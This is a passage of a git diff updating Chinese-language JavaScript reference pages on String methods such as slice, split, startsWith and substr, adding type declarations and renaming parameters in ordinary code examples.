                                                                                                                                // 查找不到匹配返回-1
                                                                                                                                str.search(/James/);
                                                                                                                                // -1
                                                                                                                                -
                                                                                                                                // 查找 "player"(带标志i,不区分大小写)
                                                                                                                                str.search(/player/i);
                                                                                                                                // 7
                                                                                                                                +
                                                                                                                                // 查找 "player"(带标志i,不区分大小写)
                                                                                                                                str.search(/player/i);
                                                                                                                                // 7

                                                                                                                                参考资料

                                                                                                                                - + diff --git a/standard-built-in-objects/text-processing/string/slice/index.html b/standard-built-in-objects/text-processing/string/slice/index.html index 7ca73b49f..91d205494 100644 --- a/standard-built-in-objects/text-processing/string/slice/index.html +++ b/standard-built-in-objects/text-processing/string/slice/index.html @@ -7,39 +7,42 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.slice - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.slice()

                                                                                                                                slice() 方法提取字符串的某部分,并返回一个新的字符串。

                                                                                                                                语法

                                                                                                                                str.slice( startIndex [, endIndex] )
                                                                                                                                参数说明类型
                                                                                                                                startIndex指向字符串指定部分的开头的索引。number
                                                                                                                                endIndex可选,指向字符串指定部分的结尾的索引(不包括该索引),默认到字符串的结尾。number

                                                                                                                                返回一个从原字符串中提取出来的新字符串

                                                                                                                                描述

                                                                                                                                slice() 函数一直从索引 startIndex 复制到 endIndex 所指示的字符,但是不包括 endIndex 索引上的字符。

                                                                                                                                • 如果 startIndex 为负,则将其视为 str.length + startIndex
                                                                                                                                • 如果省略 endIndex,则将一直提取到字符串的结尾。
                                                                                                                                • 如果 endIndex 为负,则将其视为 str.length + endIndex
                                                                                                                                • 如果 endIndex 小于等于 startIndex,则不会复制任何字符,返回空字符串。

                                                                                                                                示例

                                                                                                                                代码示例

                                                                                                                                var str = 'abcdefghij';
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.slice()

                                                                                                                                slice() 方法提取字符串的某部分,并返回一个新的字符串。

                                                                                                                                语法

                                                                                                                                语法:

                                                                                                                                str.slice( start [, end] )

                                                                                                                                类型声明:

                                                                                                                                interface String {
                                                                                                                                slice(start?: number, end?: number): string;
                                                                                                                                }

                                                                                                                                参数说明:

                                                                                                                                参数说明类型
                                                                                                                                start指向字符串指定部分的开头的索引。number
                                                                                                                                end可选,指向字符串指定部分的结尾的索引(不包括该索引),默认到字符串的结尾。number

                                                                                                                                返回一个从原字符串中提取出来的新字符串

                                                                                                                                方法说明

                                                                                                                                slice() 函数一直从索引 start 复制到 end 所指示的字符,但是不包括 end 索引上的字符。

                                                                                                                                • 如果 start 为负,则将其视为 str.length + start
                                                                                                                                • 如果省略 end,则将一直提取到字符串的结尾。
                                                                                                                                • 如果 end 为负,则将其视为 str.length + end
                                                                                                                                • 如果 end 小于等于 start,则不会复制任何字符,返回空字符串。

                                                                                                                                代码示例

                                                                                                                                基本用法

                                                                                                                                var str = 'abcdefghij';
                                                                                                                                // 开始索引省略即从 0 开始提取,结束索引省略即提取到字符串末尾
                                                                                                                                str.slice(); // 'abcdefghij'
                                                                                                                                // 开始索引为 0,结束索引省略即提取到字符串末尾
                                                                                                                                str.slice(0);
                                                                                                                                // 'abcdefghij'
                                                                                                                                // 开始索引为 0,结束索引为2
                                                                                                                                str.slice(0, 2);
                                                                                                                                // 'ab'
                                                                                                                                // 开始索引为 -3 即负数,即为 -3+10=7,结束索引省略即提取到字符串末尾
                                                                                                                                str.slice(-3);
                                                                                                                                // 'hij'
                                                                                                                                // 开始索引为 0,结束索引为 -3 即 -3+10=7
                                                                                                                                str.slice(0, -3);
                                                                                                                                // 'abcdef'
                                                                                                                                -
                                                                                                                                // 开始索引为 -3 即 -3+10=7,结束索引为 -1+10=9
                                                                                                                                str.slice(-3, -1);
                                                                                                                                +
                                                                                                                                // 开始索引为 -3 即 -3+10=7,结束索引为 -1+10=9
                                                                                                                                str.slice(-3, -1);

                                                                                                                                参考资料

                                                                                                                                - + diff --git a/standard-built-in-objects/text-processing/string/split/index.html b/standard-built-in-objects/text-processing/string/split/index.html index 36ac247fb..6e85a438f 100644 --- a/standard-built-in-objects/text-processing/string/split/index.html +++ b/standard-built-in-objects/text-processing/string/split/index.html @@ -7,37 +7,40 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.split - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.split()

                                                                                                                                split() 函数用于使用指定分隔符分割字符串,并返回分割后的若干个子字符串组成的数组。

                                                                                                                                语法

                                                                                                                                str.split( [separator [, limit]] )
                                                                                                                                参数说明类型
                                                                                                                                separator指定表示每个拆分应发生的点的字符串。separator 可以是一个字符串或正则表达式。 如果纯文本分隔符包含多个字符,则必须找到整个字符串来表示分割点。如果在 str 中省略或不出现分隔符,则返回的数组包含一个由整个字符串组成的元素。如果分隔符为空字符串,则将 str 原字符串中每个字符的数组形式返回。string / RegExp
                                                                                                                                limit可选,一个整数,限定返回的分割片段数量。当提供此参数时,split 方法会在指定分隔符的每次出现时分割该字符串,但在限制条目已放入数组时停止。如果在达到指定限制之前达到字符串的末尾,它可能仍然包含少于限制的条目。新数组中不返回剩下的文本。number
                                                                                                                                • 找到分隔符后,将其从字符串中删除,并将子字符串的数组返回。
                                                                                                                                • 如果没有找到或者省略了分隔符,则该数组包含一个由整个字符串组成的元素。
                                                                                                                                • 如果分隔符为空字符串,则字符串会在每个字符之间分割。
                                                                                                                                • 如果分隔符出现在字符串的开始或结尾,或两者都分开,分别以空字符串开头,结尾或两者开始和结束。因此,如果字符串仅由一个分隔符实例组成,则该数组由两个空字符串组成。
                                                                                                                                • 如果分隔符是包含捕获括号的正则表达式,则每次分隔符匹配时,捕获括号的结果(包括任何未定义的结果)将被拼接到输出数组中。但是,并不是所有浏览器都支持此功能。
                                                                                                                                • 当被查找的字符串为空时,返回一个包含一个空字符串的数组,而不是一个空数组,如果字符串和分隔符都是空字符串,则返回一个空数组。

                                                                                                                                描述

                                                                                                                                如果提供了 limit 参数,此函数返回的数组最多包含 limit 个元素。如果参数 limit 为负数,则该参数将被忽略掉。如果省略了 limit,则 split() 函数不会考虑长度,直到分割完毕为止。如果 limit 为 0,则返回空的数组。

                                                                                                                                示例

                                                                                                                                代码示例

                                                                                                                                'abcd'.split();
                                                                                                                                // ["abcd"]
                                                                                                                                'abcd'.split('b');
                                                                                                                                // ["a", "cd"]
                                                                                                                                'abcd'.split('a');
                                                                                                                                // ["", "bcd"]
                                                                                                                                'abcd'.split('d');
                                                                                                                                // ["abc", ""]
                                                                                                                                'abcd'.split('abcd');
                                                                                                                                // ["", ""]
                                                                                                                                'abcd'.split('');
                                                                                                                                // ["a", "b", "c", "d"]
                                                                                                                                'abcd'.split(' ');
                                                                                                                                // ["abcd"]
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.split()

                                                                                                                                split() 函数用于使用指定分隔符分割字符串,并返回分割后的若干个子字符串组成的数组。

                                                                                                                                语法

                                                                                                                                语法:

                                                                                                                                str.split( [separator [, limit]] )

                                                                                                                                类型声明:

                                                                                                                                interface String {
                                                                                                                                split(separator: string | RegExp, limit?: number): string[];
                                                                                                                                }

                                                                                                                                参数说明:

                                                                                                                                参数说明类型
                                                                                                                                separator指定表示每个拆分应发生的点的字符串。separator 可以是一个字符串或正则表达式。 如果纯文本分隔符包含多个字符,则必须找到整个字符串来表示分割点。如果在 str 中省略或不出现分隔符,则返回的数组包含一个由整个字符串组成的元素。如果分隔符为空字符串,则将 str 原字符串中每个字符的数组形式返回。string / RegExp
                                                                                                                                limit可选,一个整数,限定返回的分割片段数量。当提供此参数时,split 方法会在指定分隔符的每次出现时分割该字符串,但在限制条目已放入数组时停止。如果在达到指定限制之前达到字符串的末尾,它可能仍然包含少于限制的条目。新数组中不返回剩下的文本。number

                                                                                                                                • 找到分隔符后,将其从字符串中删除,并将子字符串的数组返回。
                                                                                                                                • 如果没有找到或者省略了分隔符,则该数组包含一个由整个字符串组成的元素。
                                                                                                                                • 如果分隔符为空字符串,则字符串会在每个字符之间分割。
                                                                                                                                • 如果分隔符出现在字符串的开始或结尾,或两者都分开,分别以空字符串开头,结尾或两者开始和结束。因此,如果字符串仅由一个分隔符实例组成,则该数组由两个空字符串组成。
                                                                                                                                • 如果分隔符是包含捕获括号的正则表达式,则每次分隔符匹配时,捕获括号的结果(包括任何未定义的结果)将被拼接到输出数组中。但是,并不是所有浏览器都支持此功能。
                                                                                                                                • 当被查找的字符串为空时,返回一个包含一个空字符串的数组,而不是一个空数组,如果字符串和分隔符都是空字符串,则返回一个空数组。

                                                                                                                                方法说明

                                                                                                                                如果提供了 limit 参数,此函数返回的数组最多包含 limit 个元素。如果参数 limit 为负数,则该参数将被忽略掉。如果省略了 limit,则 split() 函数不会考虑长度,直到分割完毕为止。如果 limit 为 0,则返回空的数组。

                                                                                                                                代码示例

                                                                                                                                基本用法

                                                                                                                                'abcd'.split();
                                                                                                                                // ["abcd"]
                                                                                                                                'abcd'.split('b');
                                                                                                                                // ["a", "cd"]
                                                                                                                                'abcd'.split('a');
                                                                                                                                // ["", "bcd"]
                                                                                                                                'abcd'.split('d');
                                                                                                                                // ["abc", ""]
                                                                                                                                'abcd'.split('abcd');
                                                                                                                                // ["", ""]
                                                                                                                                'abcd'.split('');
                                                                                                                                // ["a", "b", "c", "d"]
                                                                                                                                'abcd'.split(' ');
                                                                                                                                // ["abcd"]
                                                                                                                                ''.split();
                                                                                                                                // [""]
                                                                                                                                ''.split('');
                                                                                                                                // []
                                                                                                                                ''.split(' ');
                                                                                                                                // [""]

                                                                                                                                移除字符串中的空格

                                                                                                                                下例中,split 方法会查找 0 或多个空白符接着的分号,再接着 0 或多个空白符模式的字符串,找到后,就将空白符从字符串中移除,nameListsplit 的返回数组。

                                                                                                                                var names = 'Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ;Chris Hand ';
                                                                                                                                var re = /\s*;\s*/;
                                                                                                                                var nameList = names.split(re);
                                                                                                                                console.log(nameList);
                                                                                                                                // ["Harry Trump", "Fred Barney", "Helen Rigby", "Bill Abel", "Chris Hand "]

                                                                                                                                限制返回值中分割元素数量

                                                                                                                                下例中,split 查找字符串中的 0 或多个空格,并返回找到的前 3 个分割元素(splits)。

                                                                                                                                var myString = 'Hello World. How are you doing?';
                                                                                                                                var splits = myString.split(' ', 3);
                                                                                                                                console.log(splits);
                                                                                                                                // ["Hello", "World.", "How"]

                                                                                                                                捕获括号(Capturing parentheses)

                                                                                                                                如果 separator 包含捕获括号(capturing parentheses),则其匹配结果将会包含在返回的数组中。

                                                                                                                                var myString = 'Hello 1 word. Sentence number 2.';
                                                                                                                                var splits = myString.split(/(\d)/);
                                                                                                                                -
                                                                                                                                console.log(splits);
                                                                                                                                // [ "Hello ", "1", " word. Sentence number ", "2", "." ]
                                                                                                                                +
                                                                                                                                console.log(splits);
                                                                                                                                // [ "Hello ", "1", " word. Sentence number ", "2", "." ]

                                                                                                                                参考资料

                                                                                                                                - + diff --git a/standard-built-in-objects/text-processing/string/starts-with/index.html b/standard-built-in-objects/text-processing/string/starts-with/index.html index 2ed9fb703..3c34a1841 100644 --- a/standard-built-in-objects/text-processing/string/starts-with/index.html +++ b/standard-built-in-objects/text-processing/string/starts-with/index.html @@ -7,36 +7,39 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.startsWith - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.startsWith()

                                                                                                                                startsWith() 方法用来判断当前字符串是否以另一个给定的子字符串开头,并根据判断结果返回 truefalse

                                                                                                                                语法

                                                                                                                                str.startsWith( searchString [, length] )
                                                                                                                                参数说明类型
                                                                                                                                searchString要搜索的子字符串string
                                                                                                                                index开始搜索 searchString 的开始索引,默认为 0number

                                                                                                                                这个方法能够让你确定一个字符串是否以另一个字符串开头。

                                                                                                                                这个方法区分大小写。

                                                                                                                                说明

                                                                                                                                const str = 'Hello world!';
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.startsWith()

                                                                                                                                startsWith() 方法用来判断当前字符串是否以另一个给定的子字符串开头,并根据判断结果返回 truefalse

                                                                                                                                语法

                                                                                                                                语法:

                                                                                                                                str.startsWith( searchString [, position] )

                                                                                                                                类型声明:

                                                                                                                                interface String {
                                                                                                                                startsWith(searchString: string, position?: number): boolean;
                                                                                                                                }

                                                                                                                                参数说明:

                                                                                                                                参数说明类型
                                                                                                                                searchString要搜索的子字符串string
                                                                                                                                position开始搜索 searchString 的开始索引,默认为 0number

                                                                                                                                这个方法能够让你确定一个字符串是否以另一个字符串开头。

                                                                                                                                这个方法区分大小写。

                                                                                                                                代码示例

                                                                                                                                const str = 'Hello world!';
                                                                                                                                console.log(str.startsWith('He'));
                                                                                                                                // true
                                                                                                                                console.log(str.startsWith('wo'));
                                                                                                                                // false
                                                                                                                                -
                                                                                                                                console.log(str.startsWith('wo', 6));
                                                                                                                                // true

                                                                                                                                Polyfill

                                                                                                                                if (!String.prototype.startsWith) {
                                                                                                                                Object.defineProperty(String.prototype, 'startsWith', {
                                                                                                                                value: function(searchString, index) {
                                                                                                                                index = !index || index < 0 ? 0 : +index;
                                                                                                                                return this.substring(index, index + searchString.length) === searchString;
                                                                                                                                }
                                                                                                                                })
                                                                                                                                }
                                                                                                                                +
                                                                                                                                console.log(str.startsWith('wo', 6));
                                                                                                                                // true

                                                                                                                                兼容性代码

                                                                                                                                if (!String.prototype.startsWith) {
                                                                                                                                Object.defineProperty(String.prototype, 'startsWith', {
                                                                                                                                value: function (searchString, position) {
                                                                                                                                position = !position || position < 0 ? 0 : +position;
                                                                                                                                return this.substring(position, position + searchString.length) === searchString;
                                                                                                                                },
                                                                                                                                });
                                                                                                                                }

                                                                                                                                参考资料

                                                                                                                                - + diff --git a/standard-built-in-objects/text-processing/string/string/index.html b/standard-built-in-objects/text-processing/string/string/index.html index 8bec83381..69f2fa9f0 100644 --- a/standard-built-in-objects/text-processing/string/string/index.html +++ b/standard-built-in-objects/text-processing/string/string/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String 对象

                                                                                                                                String 对象是一个用于 字符串 或一个 字符序列 的构造函数。

                                                                                                                                String 对象是文本字符串的对象形式。String 对象允许操作和格式化文本字符串以及确定和定位字符串中的子字符串。

                                                                                                                                语法

                                                                                                                                构造函数

                                                                                                                                new String([value]);

                                                                                                                                字符串类型转换函数

                                                                                                                                String([value]);
                                                                                                                                参数类型说明
                                                                                                                                value任意类型任何可以被转换成字符串的值。

                                                                                                                                说明

                                                                                                                                模板字面量

                                                                                                                                从 ECMAScript 2015 开始,字符串字面量也可以称为 模板字面量

                                                                                                                                const w = 'world'`Hello ${w}!`;

                                                                                                                                转义字符

                                                                                                                                除了普通的可打印字符以外,一些有特殊功能的字符可以通过转义字符的形式放入字符串中:

                                                                                                                                转义字符输出
                                                                                                                                \0空字符
                                                                                                                                \'单引号
                                                                                                                                \"双引号
                                                                                                                                \\反斜杠
                                                                                                                                \n换行
                                                                                                                                \r回车
                                                                                                                                \v垂直制表符
                                                                                                                                \t水平制表符
                                                                                                                                \b退格
                                                                                                                                \f换页
                                                                                                                                \uXXXXUnicode 码
                                                                                                                                \xXXLatin-1 字符(x 小写)

                                                                                                                                和其他语言不同,JavaScript 的字符串不区分单引号和双引号,所以不论是单引号还是双引号的字符串,上面的转义字符都能运行 。

                                                                                                                                原型对象

                                                                                                                                原型属性

                                                                                                                                属性说明
                                                                                                                                String.prototype.constructor返回创建该对象的构造函数。
                                                                                                                                String.prototype.length返回字符串的长度(字符数)。
                                                                                                                                String.prototype.N用于访问第 N 个位置的字符,其中 N 是小于 length 和 0 之间的正整数。这些属性都是只读性质,不能编辑。

                                                                                                                                原型方法

                                                                                                                                方法说明
                                                                                                                                String.fromCharCode()获取指定 UTF-16 代码单元序列创建的字符串
                                                                                                                                String.fromCodePoint()获取指定代码点序列创建的字符串
                                                                                                                                String.prototype.charAt()返回字符串中指定位置的子字符
                                                                                                                                String.prototype.charCodeAt()返回字符串中指定位置的子字符的 Unicode 的值(值的范围是 0 到 65535)
                                                                                                                                String.prototype.codePointAt()返回使用 UTF-16 编码的给定位置的值的非负整数。
                                                                                                                                String.prototype.concat()将一个或多个字符串与原字符串连接合并,形成一个新的字符串并返回。
                                                                                                                                String.prototype.endsWith()用于判断当前字符串是否是以另外一个给定的字符串结尾的,根据判断结果返回 truefalse
                                                                                                                                String.prototype.includes()用于判断一个字符串里是否包含在另一个字符串中,根据情况返回 truefalse
                                                                                                                                String.prototype.indexOf()返回调用 String 对象中第一个发现的指定值的索引值,如果没有找到则返回 -1。从 startIndex 进行搜索。
                                                                                                                                String.prototype.lastIndexOf()返回调用该方法的字符串中最后出现的位置,如果没有找到则返回 -1。从该字符串的后面向前查找,从 startIndex 处开始。
                                                                                                                                String.prototype.localeCompare()返回一个数字来指示一个参考字符串是否在排序顺序前面或之后或与给定字符串相同。
                                                                                                                                String.prototype.match()检索一个字符串与一个正则表达式的匹配项。
                                                                                                                                String.prototype.matchAll()获取一个包含所有匹配正则表达式
                                                                                                                                String.prototype.normalize()按照指定一种 Unicode 正规形式将当前字符串正规化。
                                                                                                                                String.prototype.padEnd()用一个字符串填充当前字符串(如果需要的话则重复填充),返回填充后达到指定长度的字符串。从当前字符串的末尾(右侧)开始填充。
                                                                                                                                String.prototype.padStart()用一个字符串填充当前字符串(如果需要的话则重复填充),返回填充后达到指定长度的字符串。从当前字符串的开头(右侧)开始填充。
                                                                                                                                String.prototype.repeat()构造并返回一个新字符串,该字符串包含被连接在一起的指定数量的字符串的副本。
                                                                                                                                String.prototype.replace()返回一个由替换值替换一些或所有匹配的模式后的新字符串。模式可以是一个字符串或者一个正则表达式,替换值可以是一个字符串或者一个每次匹配都要调用的函数。
                                                                                                                                String.prototype.search()对正则表达式和指定字符串进行匹配搜索,返回第一个出现的匹配项的下标。
                                                                                                                                String.prototype.slice()摘取一个字符串区域(字符串的一部分),返回一个新的字符串。
                                                                                                                                String.prototype.split()使用指定的分隔符字符串将一个 String 对象分割成字符串数组,以将字符串分割为子字符串,以确定每个拆分的位置。
                                                                                                                                String.prototype.startsWith()判断字符串的起始位置是否匹配其他字符串中的字符,根据判断结果返回 truefalse
                                                                                                                                String.prototype.substr()通过指定字符数返回从指定位置开始到指定字符串数的字符。
                                                                                                                                String.prototype.substring()返回一个字符串在开始索引到结束索引之间的一个子集,或从开始索引知道字符串的末尾的一个子集。
                                                                                                                                String.prototype.toLocaleLowerCase()根据任何特定于语言环境的案例映射,返回调用字符串值转换为小写的值。
                                                                                                                                String.prototype.toLocaleUpperCase()使用本地化的大小写映射规则将输入的字符串转化成大写形式并返回结果字符串。
                                                                                                                                String.prototype.toLowerCase()将字符串转换成小写并返回。
                                                                                                                                String.prototype.toString()返回用字符串表示的特定对象。重写 Object.prototype.toString 方法。
                                                                                                                                String.prototype.toUpperCase()将调用该方法的字符串值转换为大写形式,并返回。
                                                                                                                                String.prototype.trim()从字符串的两端删除空白字符。在这个上下文的空白字符是所有的空白字符(spacetabno-break space)。
                                                                                                                                String.prototype.trimEnd()移除原字符串的左侧的连续空白符。
                                                                                                                                String.prototype.trimStart()移除原字符串的左侧的连续空白符。
                                                                                                                                String.prototype.valueOf()返回特定对象的原始值。重写 Object.prototype.valueOf 方法。
                                                                                                                                String.raw()模版字符串的标签函数,它的作用类似于 Python 中的字符串前缀 r 和 C# 中的字符串前缀 @ ,是用来获取一个模版字符串的原始字符串的

                                                                                                                                示例

                                                                                                                                从字符串中获取单个字符

                                                                                                                                获取字符串的某个字符有两种方法。 第一种是使用 charAt 方法:

                                                                                                                                return 'cat'.charAt(1);
                                                                                                                                // "a"

                                                                                                                                另一种把字符串当作一个类似数组的对象,其中的每个字符对应一个数值索引:

                                                                                                                                return 'cat'[1];
                                                                                                                                ('a');

                                                                                                                                使用括号访问字符串不可以对其进行删除或添加,因为字符串对应未知的属性并不是可读或配置的。 (更多的信息请参阅 Object.defineProperty )

                                                                                                                                长字符串

                                                                                                                                有时,你的代码可能含有很长的字符串。你可能想将这样的字符串写成多行,而不是让这一行无限延长或着被编辑器折叠。有两种方法可以做到这一点。

                                                                                                                                可以使用 + 运算符将多个字符串连接起来。

                                                                                                                                let longString =
                                                                                                                                'This is a very long string which needs ' +
                                                                                                                                'to wrap across multiple lines because ' +
                                                                                                                                'otherwise my code is unreadable.';

                                                                                                                                可以在每行末尾使用反斜杠字符(\),以指示字符串将在下一行继续。确保反斜杠后面没有空格或任何除换行符之外的字符或缩进;否则反斜杠将不会工作。

                                                                                                                                let longString =
                                                                                                                                'This is a very long string which needs \
                                                                                                                                to wrap across multiple lines because \
                                                                                                                                otherwise my code is unreadable.';

                                                                                                                                或者使用 ES6+ 提供的模版字符串

                                                                                                                                let longString = `This is a very long string which needs
                                                                                                                                to wrap across multiple lines because
                                                                                                                                otherwise my code is unreadable.`;
                                                                                                                                +

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String 对象

                                                                                                                                String 对象是一个用于 字符串 或一个 字符序列 的构造函数。

                                                                                                                                String 对象是文本字符串的对象形式。String 对象允许操作和格式化文本字符串以及确定和定位字符串中的子字符串。

                                                                                                                                语法

                                                                                                                                构造函数

                                                                                                                                new String([value]);

                                                                                                                                字符串类型转换函数

                                                                                                                                String([value]);
                                                                                                                                参数类型说明
                                                                                                                                value任意类型任何可以被转换成字符串的值。

                                                                                                                                说明

                                                                                                                                模板字面量

                                                                                                                                从 ECMAScript 2015 开始,字符串字面量也可以称为 模板字面量

                                                                                                                                const w = 'world'`Hello ${w}!`;

                                                                                                                                转义字符

                                                                                                                                除了普通的可打印字符以外,一些有特殊功能的字符可以通过转义字符的形式放入字符串中:

                                                                                                                                转义字符输出
                                                                                                                                \0空字符
                                                                                                                                \'单引号
                                                                                                                                \"双引号
                                                                                                                                \\反斜杠
                                                                                                                                \n换行
                                                                                                                                \r回车
                                                                                                                                \v垂直制表符
                                                                                                                                \t水平制表符
                                                                                                                                \b退格
                                                                                                                                \f换页
                                                                                                                                \uXXXXUnicode 码
                                                                                                                                \xXXLatin-1 字符(x 小写)

                                                                                                                                和其他语言不同,JavaScript 的字符串不区分单引号和双引号,所以不论是单引号还是双引号的字符串,上面的转义字符都能运行 。

                                                                                                                                原型对象

                                                                                                                                原型属性

                                                                                                                                属性说明
                                                                                                                                String.prototype.constructor返回创建该对象的构造函数。
                                                                                                                                String.prototype.length返回字符串的长度(字符数)。
                                                                                                                                String.prototype.N用于访问第 N 个位置的字符,其中 N 是小于 length 和 0 之间的正整数。这些属性都是只读性质,不能编辑。

                                                                                                                                原型方法

                                                                                                                                方法说明
                                                                                                                                String.fromCharCode()获取指定 UTF-16 代码单元序列创建的字符串
                                                                                                                                String.fromCodePoint()获取指定代码点序列创建的字符串
                                                                                                                                String.prototype.charAt()返回字符串中指定位置的子字符
                                                                                                                                String.prototype.charCodeAt()返回字符串中指定位置的子字符的 Unicode 的值(值的范围是 0 到 65535)
                                                                                                                                String.prototype.codePointAt()返回使用 UTF-16 编码的给定位置的值的非负整数。
                                                                                                                                String.prototype.concat()将一个或多个字符串与原字符串连接合并,形成一个新的字符串并返回。
                                                                                                                                String.prototype.endsWith()用于判断当前字符串是否是以另外一个给定的字符串结尾的,根据判断结果返回 truefalse
                                                                                                                                String.prototype.includes()用于判断一个字符串里是否包含在另一个字符串中,根据情况返回 truefalse
                                                                                                                                String.prototype.indexOf()返回调用 String 对象中第一个发现的指定值的索引值,如果没有找到则返回 -1。从 startIndex 进行搜索。
                                                                                                                                String.prototype.lastIndexOf()返回调用该方法的字符串中最后出现的位置,如果没有找到则返回 -1。从该字符串的后面向前查找,从 startIndex 处开始。
                                                                                                                                String.prototype.localeCompare()返回一个数字来指示一个参考字符串是否在排序顺序前面或之后或与给定字符串相同。
                                                                                                                                String.prototype.match()检索一个字符串与一个正则表达式的匹配项。
                                                                                                                                String.prototype.matchAll()获取一个包含所有匹配正则表达式
                                                                                                                                String.prototype.normalize()按照指定一种 Unicode 正规形式将当前字符串正规化。
                                                                                                                                String.prototype.padEnd()用一个字符串填充当前字符串(如果需要的话则重复填充),返回填充后达到指定长度的字符串。从当前字符串的末尾(右侧)开始填充。
                                                                                                                                String.prototype.padStart()用一个字符串填充当前字符串(如果需要的话则重复填充),返回填充后达到指定长度的字符串。从当前字符串的开头(右侧)开始填充。
                                                                                                                                String.prototype.repeat()构造并返回一个新字符串,该字符串包含被连接在一起的指定数量的字符串的副本。
                                                                                                                                String.prototype.replace()返回一个由替换值替换一些或所有匹配的模式后的新字符串。模式可以是一个字符串或者一个正则表达式,替换值可以是一个字符串或者一个每次匹配都要调用的函数。
                                                                                                                                String.prototype.search()对正则表达式和指定字符串进行匹配搜索,返回第一个出现的匹配项的下标。
                                                                                                                                String.prototype.slice()摘取一个字符串区域(字符串的一部分),返回一个新的字符串。
                                                                                                                                String.prototype.split()使用指定的分隔符字符串将一个 String 对象分割成字符串数组,以将字符串分割为子字符串,以确定每个拆分的位置。
                                                                                                                                String.prototype.startsWith()判断字符串的起始位置是否匹配其他字符串中的字符,根据判断结果返回 truefalse
                                                                                                                                String.prototype.substr()通过指定字符数返回从指定位置开始到指定字符串数的字符。
                                                                                                                                String.prototype.substring()返回一个字符串在开始索引到结束索引之间的一个子集,或从开始索引知道字符串的末尾的一个子集。
                                                                                                                                String.prototype.toLocaleLowerCase()根据任何特定于语言环境的案例映射,返回调用字符串值转换为小写的值。
                                                                                                                                String.prototype.toLocaleUpperCase()使用本地化的大小写映射规则将输入的字符串转化成大写形式并返回结果字符串。
                                                                                                                                String.prototype.toLowerCase()将字符串转换成小写并返回。
                                                                                                                                String.prototype.toString()返回用字符串表示的特定对象。重写 Object.prototype.toString 方法。
                                                                                                                                String.prototype.toUpperCase()将调用该方法的字符串值转换为大写形式,并返回。
                                                                                                                                String.prototype.trim()从字符串的两端删除空白字符。在这个上下文的空白字符是所有的空白字符(spacetabno-break space)。
                                                                                                                                String.prototype.trimEnd()移除原字符串的左侧的连续空白符。
                                                                                                                                String.prototype.trimStart()移除原字符串的左侧的连续空白符。
                                                                                                                                String.prototype.valueOf()返回特定对象的原始值。重写 Object.prototype.valueOf 方法。
                                                                                                                                String.raw()模版字符串的标签函数,它的作用类似于 Python 中的字符串前缀 r 和 C# 中的字符串前缀 @ ,是用来获取一个模版字符串的原始字符串的

                                                                                                                                示例

                                                                                                                                从字符串中获取单个字符

                                                                                                                                获取字符串的某个字符有两种方法。 第一种是使用 charAt 方法:

                                                                                                                                return 'cat'.charAt(1);
                                                                                                                                // "a"

                                                                                                                                另一种把字符串当作一个类似数组的对象,其中的每个字符对应一个数值索引:

                                                                                                                                return 'cat'[1];
                                                                                                                                ('a');

                                                                                                                                使用括号访问字符串不可以对其进行删除或添加,因为字符串对应未知的属性并不是可读或配置的。 (更多的信息请参阅 Object.defineProperty )

                                                                                                                                长字符串

                                                                                                                                有时,你的代码可能含有很长的字符串。你可能想将这样的字符串写成多行,而不是让这一行无限延长或着被编辑器折叠。有两种方法可以做到这一点。

                                                                                                                                可以使用 + 运算符将多个字符串连接起来。

                                                                                                                                let longString =
                                                                                                                                'This is a very long string which needs ' +
                                                                                                                                'to wrap across multiple lines because ' +
                                                                                                                                'otherwise my code is unreadable.';

                                                                                                                                可以在每行末尾使用反斜杠字符(\),以指示字符串将在下一行继续。确保反斜杠后面没有空格或任何除换行符之外的字符或缩进;否则反斜杠将不会工作。

                                                                                                                                let longString =
                                                                                                                                'This is a very long string which needs \
                                                                                                                                to wrap across multiple lines because \
                                                                                                                                otherwise my code is unreadable.';

                                                                                                                                或者使用 ES6+ 提供的模版字符串

                                                                                                                                let longString = `This is a very long string which needs
                                                                                                                                to wrap across multiple lines because
                                                                                                                                otherwise my code is unreadable.`;
                                                                                                                                - + diff --git a/standard-built-in-objects/text-processing/string/substr/index.html b/standard-built-in-objects/text-processing/string/substr/index.html index 9c69fbdfd..808570e2a 100644 --- a/standard-built-in-objects/text-processing/string/substr/index.html +++ b/standard-built-in-objects/text-processing/string/substr/index.html @@ -7,41 +7,44 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + String.prototype.substr - JavaScript Guidebook -

                                                                                                                                JavaScript Guidebook

                                                                                                                                JavaScript 完全知识体系

                                                                                                                                String.prototype.substr()

                                                                                                                                substr() 函数用于返回当前字符串中一个连续的片段。

                                                                                                                                语法

                                                                                                                                str.substr( startIndex [, length] )
                                                                                                                                参数说明类型
                                                                                                                                startIndex指向字符串指定部分的开头的索引。number
                                                                                                                                length可选,返回的子字符串片段中包含的字符数。number

                                                                                                                                描述

                                                                                                                                substr() 函数从 str 的索引 startIndex 处开始复制,直到复制 length 个字符或字符串的结尾为止。

                                                                                                                                • 如果 startIndex 为正值,且大于或等于字符串的长度,则返回一个空字符串。
                                                                                                                                • 如果 startIndex 为负值,则将其视为 str.length + startIndex 开始的一个字符索引。若 str.length + startIndex 大于字符串的长度,则使用 0 作为开始提取的索引。
                                                                                                                                • 如果 length 为负数或 0,则不会复制任何字符,返回空字符串。
